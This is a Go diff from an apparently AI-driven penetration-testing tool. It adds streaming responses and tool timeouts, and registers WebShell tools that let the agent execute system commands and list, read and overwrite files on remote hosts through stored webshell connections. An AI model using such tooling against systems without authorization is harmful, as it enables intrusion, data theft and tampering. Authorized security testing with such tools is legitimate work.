"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/storage"
"go.uber.org/zap"
@@ -195,6 +197,7 @@ type OpenAIRequest struct {
Model string `json:"model"`
Messages []ChatMessage `json:"messages"`
Tools []Tool `json:"tools,omitempty"`
Stream bool `json:"stream,omitempty"`
}
// OpenAIResponse OpenAI API响应
@@ -528,6 +531,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
var currentReActInput string
maxIterations := a.maxIterations
thinkingStreamSeq := 0
for i := 0; i < maxIterations; i++ {
// 先获取本轮可用工具并统计 tools token,再压缩,以便压缩时预留 tools 占用的空间
tools := a.getAvailableTools(roleTools)
@@ -629,7 +633,28 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
// 调用OpenAI
sendProgress("progress", "正在调用AI模型...", nil)
response, err := a.callOpenAI(ctx, messages, tools)
thinkingStreamSeq++
thinkingStreamId := fmt.Sprintf("thinking-stream-%s-%d-%d", conversationID, i+1, thinkingStreamSeq)
thinkingStreamStarted := false
response, err := a.callOpenAIStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
if delta == "" {
return nil
}
if !thinkingStreamStarted {
thinkingStreamStarted = true
sendProgress("thinking_stream_start", " ", map[string]interface{}{
"streamId": thinkingStreamId,
"iteration": i + 1,
"toolStream": false,
})
}
sendProgress("thinking_stream_delta", delta, map[string]interface{}{
"streamId": thinkingStreamId,
"iteration": i + 1,
})
return nil
})
if err != nil {
// API调用失败,保存当前的ReAct输入和错误信息作为输出
result.LastReActInput = currentReActInput
@@ -681,10 +706,12 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
// 检查是否有工具调用
if len(choice.Message.ToolCalls) > 0 {
// 如果有思考内容,先发送思考事件
// 思考内容:如果本轮启用了思考流式增量(thinking_stream_*),前端会去重;
// 同时也需要在该“思考阶段结束”时补一条可落库的 thinking(用于刷新后持久化展示)。
if choice.Message.Content != "" {
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
"iteration": i + 1,
"streamId": thinkingStreamId,
})
}
@@ -716,7 +743,21 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
})
// 执行工具
execResult, err := a.executeToolViaMCP(ctx, toolCall.Function.Name, toolCall.Function.Arguments)
toolCtx := context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(chunk string) {
if strings.TrimSpace(chunk) == "" {
return
}
sendProgress("tool_result_delta", chunk, map[string]interface{}{
"toolName": toolCall.Function.Name,
"toolCallId": toolCall.ID,
"index": idx + 1,
"total": len(choice.Message.ToolCalls),
"iteration": i + 1,
// success 在最终 tool_result 事件里会以 success/isError 标记为准
})
}))
execResult, err := a.executeToolViaMCP(toolCtx, toolCall.Function.Name, toolCall.Function.Arguments)
if err != nil {
// 构建详细的错误信息,帮助AI理解问题并做出决策
errorMsg := a.formatToolError(toolCall.Function.Name, toolCall.Function.Arguments, err)
@@ -791,16 +832,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
})
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
// 立即调用OpenAI获取总结
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果获取总结失败,跳出循环,让后续逻辑处理
break
@@ -816,7 +864,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
})
// 发送AI思考内容(如果没有工具调用)
if choice.Message.Content != "" {
if choice.Message.Content != "" && !thinkingStreamStarted {
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
"iteration": i + 1,
})
@@ -831,16 +879,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
})
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
// 立即调用OpenAI获取总结
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果获取总结失败,使用当前回复作为结果
if choice.Message.Content != "" {
@@ -871,15 +926,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
messages = append(messages, finalSummaryPrompt)
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
summaryChoice := summaryResponse.Choices[0]
if summaryChoice.Message.Content != "" {
result.Response = summaryChoice.Message.Content
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复
sendProgress("response_start", "", map[string]interface{}{
"conversationId": conversationID,
"mcpExecutionIds": result.MCPExecutionIDs,
"messageGeneratedBy": "max_iter_summary",
})
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
sendProgress("response_delta", delta, map[string]interface{}{
"conversationId": conversationID,
})
return nil
})
if strings.TrimSpace(streamText) != "" {
result.Response = streamText
result.LastReActOutput = result.Response
sendProgress("progress", "总结生成完成", nil)
return result, nil
}
// 如果无法生成总结,返回友好的提示
@@ -1199,6 +1262,206 @@ func (a *Agent) callOpenAISingle(ctx context.Context, messages []ChatMessage, to
return &response, nil
}
// callOpenAISingleStreamText 单次调用OpenAI的流式模式,只用于“不会调用工具”的纯文本输出(tools 为空时最佳)。
// onDelta 每收到一段 content delta,就回调一次;如果 callback 返回错误,会终止读取并返回错误。
func (a *Agent) callOpenAISingleStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
reqBody := OpenAIRequest{
Model: a.config.Model,
Messages: messages,
Stream: true,
}
if len(tools) > 0 {
reqBody.Tools = tools
}
if a.openAIClient == nil {
return "", fmt.Errorf("OpenAI客户端未初始化")
}
return a.openAIClient.ChatCompletionStream(ctx, reqBody, onDelta)
}
// callOpenAIStreamText 调用OpenAI流式模式(带重试),仅在“未输出任何 delta”时才允许重试,避免重复发送已下发的内容。
func (a *Agent) callOpenAIStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
maxRetries := 3
var lastErr error
for attempt := 0; attempt < maxRetries; attempt++ {
var deltasSent bool
full, err := a.callOpenAISingleStreamText(ctx, messages, tools, func(delta string) error {
deltasSent = true
return onDelta(delta)
})
if err == nil {
if attempt > 0 {
a.logger.Info("OpenAI stream 调用重试成功",
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
)
}
return full, nil
}
lastErr = err
// 已经开始输出了 delta,避免重复内容:直接失败让上层处理。
if deltasSent {
return "", err
}
if !a.isRetryableError(err) {
return "", err
}
if attempt < maxRetries-1 {
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
if backoff > 30*time.Second {
backoff = 30 * time.Second
}
a.logger.Warn("OpenAI stream 调用失败,准备重试",
zap.Error(err),
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
zap.Duration("backoff", backoff),
)
select {
case <-ctx.Done():
return "", fmt.Errorf("上下文已取消: %w", ctx.Err())
case <-time.After(backoff):
}
}
}
return "", fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
}
// callOpenAISingleStreamWithToolCalls 单次调用OpenAI流式模式(带工具调用解析),不包含重试逻辑。
func (a *Agent) callOpenAISingleStreamWithToolCalls(
ctx context.Context,
messages []ChatMessage,
tools []Tool,
onContentDelta func(delta string) error,
) (*OpenAIResponse, error) {
reqBody := OpenAIRequest{
Model: a.config.Model,
Messages: messages,
Stream: true,
}
if len(tools) > 0 {
reqBody.Tools = tools
}
if a.openAIClient == nil {
return nil, fmt.Errorf("OpenAI客户端未初始化")
}
content, streamToolCalls, finishReason, err := a.openAIClient.ChatCompletionStreamWithToolCalls(ctx, reqBody, onContentDelta)
if err != nil {
return nil, err
}
toolCalls := make([]ToolCall, 0, len(streamToolCalls))
for _, stc := range streamToolCalls {
fnArgsStr := stc.FunctionArgsStr
args := make(map[string]interface{})
if strings.TrimSpace(fnArgsStr) != "" {
if err := json.Unmarshal([]byte(fnArgsStr), &args); err != nil {
// 兼容:arguments 不一定是严格 JSON
args = map[string]interface{}{"raw": fnArgsStr}
}
}
typ := stc.Type
if strings.TrimSpace(typ) == "" {
typ = "function"
}
toolCalls = append(toolCalls, ToolCall{
ID: stc.ID,
Type: typ,
Function: FunctionCall{
Name: stc.FunctionName,
Arguments: args,
},
})
}
response := &OpenAIResponse{
ID: "",
Choices: []Choice{
{
Message: MessageWithTools{
Role: "assistant",
Content: content,
ToolCalls: toolCalls,
},
FinishReason: finishReason,
},
},
}
return response, nil
}
// callOpenAIStreamWithToolCalls 调用OpenAI流式模式(带重试),仅当还没有输出任何 content delta 时才允许重试。
func (a *Agent) callOpenAIStreamWithToolCalls(
ctx context.Context,
messages []ChatMessage,
tools []Tool,
onContentDelta func(delta string) error,
) (*OpenAIResponse, error) {
maxRetries := 3
var lastErr error
for attempt := 0; attempt < maxRetries; attempt++ {
deltasSent := false
resp, err := a.callOpenAISingleStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
deltasSent = true
if onContentDelta != nil {
return onContentDelta(delta)
}
return nil
})
if err == nil {
if attempt > 0 {
a.logger.Info("OpenAI stream 调用重试成功",
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
)
}
return resp, nil
}
lastErr = err
if deltasSent {
// 已经开始输出了 delta:避免重复发送
return nil, err
}
if !a.isRetryableError(err) {
return nil, err
}
if attempt < maxRetries-1 {
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
if backoff > 30*time.Second {
backoff = 30 * time.Second
}
a.logger.Warn("OpenAI stream 调用失败,准备重试",
zap.Error(err),
zap.Int("attempt", attempt+1),
zap.Int("maxRetries", maxRetries),
zap.Duration("backoff", backoff),
)
select {
case <-ctx.Done():
return nil, fmt.Errorf("上下文已取消: %w", ctx.Err())
case <-time.After(backoff):
}
}
}
return nil, fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
}
// ToolExecutionResult 工具执行结果
type ToolExecutionResult struct {
Result string
@@ -1234,6 +1497,18 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
var executionID string
var err error
// 单次工具执行超时:防止单个工具长时间挂起(如 30 分钟仍显示执行中)
toolCtx := ctx
var toolCancel context.CancelFunc
if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
toolCtx, toolCancel = context.WithTimeout(ctx, time.Duration(a.agentConfig.ToolTimeoutMinutes)*time.Minute)
defer func() {
if toolCancel != nil {
toolCancel()
}
}()
}
// 检查是否是外部MCP工具(通过工具名称映射)
a.mu.RLock()
originalToolName, isExternalTool := a.toolNameMapping[toolName]
@@ -1245,29 +1520,39 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
zap.String("openAIName", toolName),
zap.String("originalName", originalToolName),
)
result, executionID, err = a.externalMCPMgr.CallTool(ctx, originalToolName, args)
result, executionID, err = a.externalMCPMgr.CallTool(toolCtx, originalToolName, args)
} else {
// 调用内部MCP工具
result, executionID, err = a.mcpServer.CallTool(ctx, toolName, args)
result, executionID, err = a.mcpServer.CallTool(toolCtx, toolName, args)
}
// 如果调用失败(如工具不存在),返回友好的错误信息而不是抛出异常
// 如果调用失败(如工具不存在、超时),返回友好的错误信息而不是抛出异常
if err != nil {
detail := err.Error()
if errors.Is(err, context.DeadlineExceeded) {
min := 10
if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
min = a.agentConfig.ToolTimeoutMinutes
}
detail = fmt.Sprintf("工具执行超过 %d 分钟被自动终止(可在 config.yaml 的 agent.tool_timeout_minutes 中调整)", min)
}
errorMsg := fmt.Sprintf(`工具调用失败
工具名称: %s
错误类型: 系统错误
错误详情: %v
错误详情: %s
可能的原因:
- 工具 "%s" 不存在或未启用
- 单次执行超时(agent.tool_timeout_minutes
- 系统配置问题
- 网络或权限问题
建议:
- 检查工具名称是否正确
- 若需更长执行时间,可适当增大 agent.tool_timeout_minutes
- 尝试使用其他替代工具
- 如果这是必需的工具,请向用户说明情况`, toolName, err, toolName)
- 如果这是必需的工具,请向用户说明情况`, toolName, detail, toolName)
return &ToolExecutionResult{
Result: errorMsg,
+175 -2
View File
@@ -15,11 +15,11 @@ import (
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/handler"
"cyberstrike-ai/internal/knowledge"
"cyberstrike-ai/internal/robot"
"cyberstrike-ai/internal/logger"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/robot"
"cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/skills"
"cyberstrike-ai/internal/storage"
@@ -46,7 +46,7 @@ type App struct {
knowledgeHandler *handler.KnowledgeHandler // 知识库处理器(用于动态初始化)
agentHandler *handler.AgentHandler // Agent处理器(用于更新知识库管理器)
robotHandler *handler.RobotHandler // 机器人处理器(钉钉/飞书/企业微信)
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
dingCancel context.CancelFunc // 钉钉 Stream 取消函数,用于配置变更时重启
larkCancel context.CancelFunc // 飞书长连接取消函数,用于配置变更时重启
}
@@ -319,6 +319,8 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
vulnerabilityHandler := handler.NewVulnerabilityHandler(db, log.Logger)
webshellHandler := handler.NewWebShellHandler(log.Logger, db)
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
@@ -364,6 +366,13 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
}
configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
// 设置 WebShell 工具注册器(ApplyConfig 时重新注册)
webshellRegistrar := func() error {
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
return nil
}
configHandler.SetWebshellToolRegistrar(webshellRegistrar)
// 设置Skills工具注册器(内置工具,必须设置)
skillsRegistrar := func() error {
// 创建一个适配器,将database.DB适配为SkillStatsStorage接口
@@ -429,6 +438,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
attackChainHandler,
app, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler,
webshellHandler,
roleHandler,
skillsHandler,
fofaHandler,
@@ -556,6 +566,7 @@ func setupRoutes(
attackChainHandler *handler.AttackChainHandler,
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler *handler.VulnerabilityHandler,
webshellHandler *handler.WebShellHandler,
roleHandler *handler.RoleHandler,
skillsHandler *handler.SkillsHandler,
fofaHandler *handler.FofaHandler,
@@ -817,6 +828,16 @@ func setupRoutes(
protected.PUT("/vulnerabilities/:id", vulnerabilityHandler.UpdateVulnerability)
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
// WebShell 管理(代理执行 + 连接配置存 SQLite)
protected.GET("/webshell/connections", webshellHandler.ListConnections)
protected.POST("/webshell/connections", webshellHandler.CreateConnection)
protected.GET("/webshell/connections/:id/ai-history", webshellHandler.GetAIHistory)
protected.GET("/webshell/connections/:id/ai-conversations", webshellHandler.ListAIConversations)
protected.PUT("/webshell/connections/:id", webshellHandler.UpdateConnection)
protected.DELETE("/webshell/connections/:id", webshellHandler.DeleteConnection)
protected.POST("/webshell/exec", webshellHandler.Exec)
protected.POST("/webshell/file", webshellHandler.FileOp)
// 角色管理
protected.GET("/roles", roleHandler.GetRoles)
protected.GET("/roles/:name", roleHandler.GetRole)
@@ -1056,6 +1077,158 @@ func registerVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *z
logger.Info("漏洞记录工具注册成功")
}
// registerWebshellTools 注册 WebShell 相关 MCP 工具,供 AI 助手在指定连接上执行命令与文件操作
func registerWebshellTools(mcpServer *mcp.Server, db *database.DB, webshellHandler *handler.WebShellHandler, logger *zap.Logger) {
if db == nil || webshellHandler == nil {
logger.Warn("跳过 WebShell 工具注册:db 或 webshellHandler 为空")
return
}
// webshell_exec
execTool := mcp.Tool{
Name: builtin.ToolWebshellExec,
Description: "在指定的 WebShell 连接上执行一条系统命令,返回命令的标准输出。connection_id 由用户在 AI 助手上下文中选定。",
ShortDescription: "在 WebShell 连接上执行命令",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{
"type": "string",
"description": "WebShell 连接 ID(如 ws_xxx",
},
"command": map[string]interface{}{
"type": "string",
"description": "要执行的系统命令",
},
},
"required": []string{"connection_id", "command"},
},
}
execHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
cmd, _ := args["command"].(string)
if cid == "" || cmd == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 command 均为必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接或查询失败"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.ExecWithConnection(conn, cmd)
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
if !ok {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "HTTP 非 200,输出:\n" + output}}, IsError: false}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: false}, nil
}
mcpServer.RegisterTool(execTool, execHandler)
// webshell_file_list
listTool := mcp.Tool{
Name: builtin.ToolWebshellFileList,
Description: "在指定 WebShell 连接上列出目录内容。path 默认为当前目录(.)。",
ShortDescription: "在 WebShell 上列出目录",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "目录路径,默认 ."},
},
"required": []string{"connection_id"},
},
}
listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
if cid == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "list", path, "", "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
}
mcpServer.RegisterTool(listTool, listHandler)
// webshell_file_read
readTool := mcp.Tool{
Name: builtin.ToolWebshellFileRead,
Description: "在指定 WebShell 连接上读取文件内容。",
ShortDescription: "在 WebShell 上读取文件",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "文件路径"},
},
"required": []string{"connection_id", "path"},
},
}
readHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
if cid == "" || path == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "read", path, "", "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
}
mcpServer.RegisterTool(readTool, readHandler)
// webshell_file_write
writeTool := mcp.Tool{
Name: builtin.ToolWebshellFileWrite,
Description: "在指定 WebShell 连接上写入文件内容(会覆盖已有文件)。",
ShortDescription: "在 WebShell 上写入文件",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "文件路径"},
"content": map[string]interface{}{"type": "string", "description": "要写入的内容"},
},
"required": []string{"connection_id", "path", "content"},
},
}
writeHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
content, _ := args["content"].(string)
if cid == "" || path == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "write", path, content, "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
if !ok {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入可能失败,输出:\n" + output}}, IsError: false}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入成功\n" + output}}, IsError: false}, nil
}
mcpServer.RegisterTool(writeTool, writeHandler)
logger.Info("WebShell 工具注册成功")
}
// initializeKnowledge 初始化知识库组件(用于动态初始化)
func initializeKnowledge(
cfg *config.Config,
+14 -11
View File
@@ -112,6 +112,7 @@ type AgentConfig struct {
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
LargeResultThreshold int `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值(字节),默认50KB
ResultStorageDir string `yaml:"result_storage_dir" json:"result_storage_dir"` // 结果存储目录,默认tmp
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
}
type AuthConfig struct {
@@ -163,16 +164,17 @@ type ToolConfig struct {
// ParameterConfig 参数配置
type ParameterConfig struct {
Name string `yaml:"name"` // 参数名称
Type string `yaml:"type"` // 参数类型: string, int, bool, array
Description string `yaml:"description"` // 参数描述
Required bool `yaml:"required,omitempty"` // 是否必需
Default interface{} `yaml:"default,omitempty"` // 默认值
Flag string `yaml:"flag,omitempty"` // 命令行标志,如 "-u", "--url", "-p"
Position *int `yaml:"position,omitempty"` // 位置参数的位置(从0开始)
Format string `yaml:"format,omitempty"` // 参数格式: "flag", "positional", "combined" (flag=value), "template"
Template string `yaml:"template,omitempty"` // 模板字符串,如 "{flag} {value}" 或 "{value}"
Options []string `yaml:"options,omitempty"` // 可选值列表(用于枚举)
Name string `yaml:"name"` // 参数名称
Type string `yaml:"type"` // 参数类型: string, int, bool, array
Description string `yaml:"description"` // 参数描述
Required bool `yaml:"required,omitempty"` // 是否必需
Default interface{} `yaml:"default,omitempty"` // 默认值
ItemType string `yaml:"item_type,omitempty"` // 当 type 为 array 时,数组元素类型,如 string, number, object
Flag string `yaml:"flag,omitempty"` // 命令行标志,如 "-u", "--url", "-p"
Position *int `yaml:"position,omitempty"` // 位置参数的位置(从0开始)
Format string `yaml:"format,omitempty"` // 参数格式: "flag", "positional", "combined" (flag=value), "template"
Template string `yaml:"template,omitempty"` // 模板字符串,如 "{flag} {value}" 或 "{value}"
Options []string `yaml:"options,omitempty"` // 可选值列表(用于枚举)
}
func Load(path string) (*Config, error) {
@@ -681,7 +683,8 @@ func Default() *Config {
MaxTotalTokens: 120000,
},
Agent: AgentConfig{
MaxIterations: 30, // 默认最大迭代次数
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
},
Security: SecurityConfig{
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
+128 -4
View File
@@ -33,13 +33,26 @@ type Message struct {
// CreateConversation 创建新对话
func (db *DB) CreateConversation(title string) (*Conversation, error) {
return db.CreateConversationWithWebshell("", title)
}
// CreateConversationWithWebshell 创建新对话,可选绑定 WebShell 连接 ID(为空则普通对话)
func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string) (*Conversation, error) {
id := uuid.New().String()
now := time.Now()
_, err := db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
)
var err error
if webshellConnectionID != "" {
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, webshellConnectionID,
)
} else {
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
)
}
if err != nil {
return nil, fmt.Errorf("创建对话失败: %w", err)
}
@@ -52,6 +65,117 @@ func (db *DB) CreateConversation(title string) (*Conversation, error) {
}, nil
}
// GetConversationByWebshellConnectionID 根据 WebShell 连接 ID 获取该连接下最近一条对话(用于 AI 助手持久化)
func (db *DB) GetConversationByWebshellConnectionID(connectionID string) (*Conversation, error) {
if connectionID == "" {
return nil, fmt.Errorf("connectionID is empty")
}
var conv Conversation
var createdAt, updatedAt string
var pinned int
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC LIMIT 1",
connectionID,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt)
if err != nil {
if err == sql.ErrNoRows {
return nil, nil
}
return nil, fmt.Errorf("查询对话失败: %w", err)
}
conv.Pinned = pinned != 0
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt); e == nil {
conv.CreatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", createdAt); e == nil {
conv.CreatedAt = t
} else {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
conv.UpdatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
conv.UpdatedAt = t
} else {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
messages, err := db.GetMessages(conv.ID)
if err != nil {
return nil, fmt.Errorf("加载消息失败: %w", err)
}
conv.Messages = messages
// 加载过程详情并附加到对应消息(与 GetConversation 一致,便于刷新后仍可查看执行过程)
processDetailsMap, err := db.GetProcessDetailsByConversation(conv.ID)
if err != nil {
db.logger.Warn("加载过程详情失败", zap.Error(err))
processDetailsMap = make(map[string][]ProcessDetail)
}
for i := range conv.Messages {
if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
detailsJSON := make([]map[string]interface{}, len(details))
for j, detail := range details {
var data interface{}
if detail.Data != "" {
if err := json.Unmarshal([]byte(detail.Data), &data); err != nil {
